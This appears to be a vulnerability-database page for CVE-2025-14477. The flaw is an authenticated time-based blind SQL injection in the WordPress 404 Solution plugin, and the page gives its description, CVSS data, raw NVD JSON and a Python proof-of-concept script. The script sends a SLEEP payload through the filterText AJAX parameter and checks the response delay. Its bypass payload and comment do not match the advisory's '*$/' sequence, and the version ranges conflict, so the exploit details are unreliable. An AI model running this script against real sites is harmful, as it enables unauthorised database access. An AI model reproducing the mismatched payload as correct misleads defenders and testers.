Security Vulnerability Report
中文
CVE-2025-14477 CVSS 4.9 MEDIUM

CVE-2025-14477

Published: 2025-12-13 16:16:51
Last Modified: 2026-04-15 00:35:42

Description

The 404 Solution plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This is due to improper sanitization of the `filterText` parameter in the `ajaxUpdatePaginationLinks` AJAX action. The sanitization logic can be bypassed by using the sequence `*$/` which becomes `*/` after the `$` character is removed, allowing attackers to escape SQL comment contexts. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind SQL injection technique.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

404 Solution (WordPress插件) < 3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time # CVE-2025-14477 SQL Injection PoC # Target: WordPress with 404 Solution plugin <= 3.1.0 target_url = "http://target-wordpress-site/wp-admin/admin-ajax.php" # Authentication cookies (Administrator session required) cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_[hash]": "session_token" } def test_sql_injection(): """ Test for SQL injection in 404 Solution plugin's ajaxUpdatePaginationLinks action. The filterText parameter is vulnerable to SQL injection via */ bypass. """ # Normal request to verify endpoint exists normal_data = { "action": "ajaxUpdatePaginationLinks", "filterText": "test", "nonce": "your-ajax-nonce" } # SQL injection payload using */ bypass # The filter logic removes $ character, turning */$/ into */ # This escapes the SQL comment context sql_payload = "test*/ AND (SELECT * FROM (SELECT SLEEP(5))a)/*" injection_data = { "action": "ajaxUpdatePaginationLinks", "filterText": sql_payload, "nonce": "your-ajax-nonce" } print("[*] Testing SQL Injection vulnerability...") print(f"[*] Target: {target_url}") # Measure response time for blind SQL injection start_time = time.time() response = requests.post(target_url, data=injection_data, cookies=cookies) elapsed_time = time.time() - start_time if elapsed_time > 4: print("[+] VULNERABLE! Time-based blind SQL injection confirmed.") print(f"[+] Response time: {elapsed_time:.2f} seconds") else: print("[-] Not vulnerable or endpoint not found.") return response if __name__ == "__main__": test_sql_injection()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14477", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:50.793", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The 404 Solution plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This is due to improper sanitization of the `filterText` parameter in the `ajaxUpdatePaginationLinks` AJAX action. The sanitization logic can be bypassed by using the sequence `*$/` which becomes `*/` after the `$` character is removed, allowing attackers to escape SQL comment contexts. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via a time-based blind SQL injection technique."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/404-solution/tags/2.36.10/includes/DataAccess.php#L977", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/404-solution/tags/2.36.10/includes/DataAccess.php#L987", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/404-solution/tags/2.36.10/includes/PluginLogic.php#L1595", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/404-solution/tags/2.36.10/includes/sql/getRedirectsForView.sql#L106", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3417333%40404-solution&new=3417333%40404-solution&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/389bee79-b59f-484a-86df-f041d6b00051?source=cve", "source": "[email protected]"}]}}